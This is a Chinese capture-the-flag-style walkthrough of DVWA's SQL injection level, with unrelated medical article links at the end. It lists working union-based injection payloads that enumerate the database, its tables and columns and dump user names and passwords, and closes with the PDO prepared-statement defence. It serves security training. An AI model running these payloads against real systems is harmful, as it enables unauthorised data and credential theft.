dvwa靶场通关(七)

news/2025/1/3 6:21:32/

第七关:SQL Injection(sql注入)

low

我们输入 1',出现报错信息,根据报错信息可知,查询语句是单引号闭合的字符型

 接着判断字段数

1' order by 3#  报错

1' order by 2# 正常

 所以字段数就是2

利用联合查询爆出数据库名和版本 

输入

-1' union select database(),version()#

 爆出表名

-1'union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'#

 爆列名

-1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#

 爆数据

-1' union select user,password from users#

medium

下图可以看到中级加入了一些防御,不让用户输入,只提供选择

 用burp suite抓包,发现数据就在post表单里,而且可以随意修改参数,这就是我们的注入点

 输入1',出现报错信息,发现我们的单引号被转义了

 查看源码,用到了mysqli_real_escape_string函数对输入进行转义

 但是我们发现这是数字注入,不需要输入字符

 后面的操作同low级别

 high

输入1',报错

 输入1' and '1'='1'#,所以是字符型注入

 后面的爆数据操作同low等级

 

impossible

Impossible级别的代码采用了PDO技术,将输入与代码分隔开,这样便完全断隔了sql注入攻击

后端格式验证 + SQL预处理PDO

PDO:PHP Data Objects,配合正确的过滤和SQL语句能避免SQL注入

is_numeric     判断用户输入的是不是数字
intval              获取用户输入内容的数字,再次确认
prepare          进行SQL语句预处理
bindParam     绑定输入参数,并再次指定为整型
 

 

 


http://www.ppmy.cn/news/519382.html

相关文章

《医疗器械唯一标识系统规则》解读

一、什么是医疗器械唯一标识?   医疗器械唯一标识由产品标识和生产标识组成,产品标识是识别注册人/备案人、医疗器械型号规格和包装的唯一代码,是从数据库获取医疗器械相关信息的“关键字”,是唯一标识的必须部分;生…

医疗行业上云

目录 一、医疗云的发展环境二、趋势分析三、业务挑战四、行业大体痛点五、业务系统上云及合规框架(华为)六、AI药物研发框架(华为) 一、医疗云的发展环境 医疗信息化由三大模块构成:区域卫生信息化、医院信息化和基于…

2018年医疗人工智能技术与应用白皮书

前 言 2017 年医疗人工智能发展迅速,产业格局风起云涌。人工智能在医疗领域中的应用已非常广泛,包括医学影像、临床决策支持、语音识别、药物挖掘、健康管理、病理学等众多领域。人工智能技术呈现与医疗领域不断融合的趋势,其中数据资源、计…

springboot医疗管理系统毕业设计源码015221

目 录 摘要 1 绪论 1.1项目设计背景 1.2项目设计意义 1.3医疗管理系统设计目标 1.4系统开发技术的特色 4 1.5论文结构与章节安排 4 2 医疗管理系统分析 5 2.1 可行性分析 5 2.2 系统流程分析 6 2.2.1数据增加流程 7 2.3.2数据修改流程 7 2.3.3数据删除流程 8 2.3 系统功能…

NCU SEM 发文检索2014年

[1]冯宗品.基于SWOT法的民生银行投资价值分析[J].商,2014,09:292-293. [2]甘筱青,尤铭祥,胡凯.医保报销比例差距、患者行为选择与医疗费用的关系研究——基于三阶段动态博弈模型的分析[J].系统工程理论与实践,2014,11:2974-2983. 摘要:我国初步建立了覆盖全民的…

换帅半年,阿里健康扭亏为盈,医疗搜索成为互联网分级诊疗体系的发力点

关注ITValue,看企业级最新鲜、最价值报道!11月25日晚间,阿里健康信息技术有限公司(00241.HK,下称“阿里健康”)发布截止2020年9月30日止的2021财年中期业绩报告。 财报显示,阿里健康上半年营收达…

如何开发一套完整的医疗远程会诊系统方案

医疗远程会诊系统解决方案,利用物联网和远程通信等技术手段,实时将会诊室或手术室全景以及患者医疗数据或手术细节经由高速网络传输到会诊中心,由专家远程进行病情会诊以及手术指导,实现专家与病人、专家与医务人员之间异地“面对…

美国医院权威评估体系

虽然医疗质量与患者风险指标,以及就医满意度的结果可为患者和家庭评价医疗机构提供可供参考的硬性依据,但由于医疗系统非常复杂,医疗机构种类繁多,普通老百姓和家庭很难区分出不同医疗机构之间的差别,在选择就医时更多…